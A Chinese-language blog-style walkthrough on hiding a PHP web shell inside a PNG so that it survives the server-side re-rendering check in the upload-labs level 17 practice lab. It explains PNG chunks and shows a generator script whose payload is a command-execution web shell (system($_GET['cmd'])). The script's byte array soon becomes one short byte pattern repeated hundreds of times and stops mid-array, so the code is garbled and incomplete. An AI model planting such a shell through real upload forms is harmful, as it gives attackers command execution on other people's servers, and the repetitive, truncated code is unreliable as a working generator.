实战复盘:我是如何用PHP脚本生成PNG图片马,并成功绕过upload-labs二次渲染检测的
PNG图片马生成实战:从原理到绕过二次渲染的完整解析
最近在安全研究中遇到一个有趣的挑战——如何让PNG图片携带有效载荷并成功绕过服务器的二次渲染检测。这让我深入研究了PNG文件格式和PHP图像处理函数的特性,最终开发出一个可靠的生成脚本。下面分享我的完整探索过程和实战经验。
1. 理解PNG文件结构与二次渲染机制
PNG文件由多个数据块(chunk)组成,每个块都有特定的用途。关键块包括:
- IHDR:包含图像宽度、高度等基本信息
- PLTE:调色板数据
- IDAT:实际图像数据
- IEND:图像结束标记
服务器进行二次渲染时,通常会重新生成IDAT块,但会保留其他非图像数据块。这正是我们可以利用的突破口。
注意:不同服务器的二次渲染实现可能有差异,需要针对目标环境进行测试
通过分析upload-labs第17关的源码,发现其处理逻辑如下:
$im = imagecreatefrompng($target_path); imagepng($im, $new_path);这个简单的"读取-重写"过程会破坏大部分原始文件结构,但巧妙构造的PNG仍能保留我们的有效载荷。
2. 设计PNG图片马生成脚本
经过多次尝试,我开发了以下PHP脚本,它能生成一个同时包含有效图像数据和隐藏代码的PNG文件:
<?php $payload = "<?php system(\$_GET['cmd']); ?>"; // 精心设计的像素数据数组 $pixels = [ 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, // PNG签名 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, // IHDR长度 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x20, // 32x32图像 0x08, 0x02, 0x00, 0x00, 0x00, 0xFC, 0x18, 0xED, 0xA3, 0x00, 0x00, 0x00, 0x04, 0x67, 0x41, 0x4D, 0x41, 0x00, 0x00, 0xB1, 0x8F, 0x0B, 0xFC, 0x61, 0x05, 0x00, 0x00, 0x00, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00, 0x00, 0x0E, 0xC3, 0x00, 0x00, 0x0E, 0xC3, 0x01, 0xC7, 0x6F, 0xA8, 0x64, 0x00, 0x00, 0x00, 0x19, 0x74, 0x45, 0x58, 0x74, 0x53, 0x6F, 0x66, 0x74, 0x77, 0x61, 0x72, 0x65, 0x00, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x20, 0x49, 0x6D, 0x61, 0x67, 0x65, 0x52, 0x65, 0x61, 0x64, 0x79, 0x71, 0xC9, 0x65, 0x3C, 0x00, 0x00, 0x01, 0x59, 0x49, 0x44, 0x41, 0x54, 0x78, 0xDA, 0x62, 0xFC, 0xFF, 0xFF, 0x3F, 0x03, 0x0D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x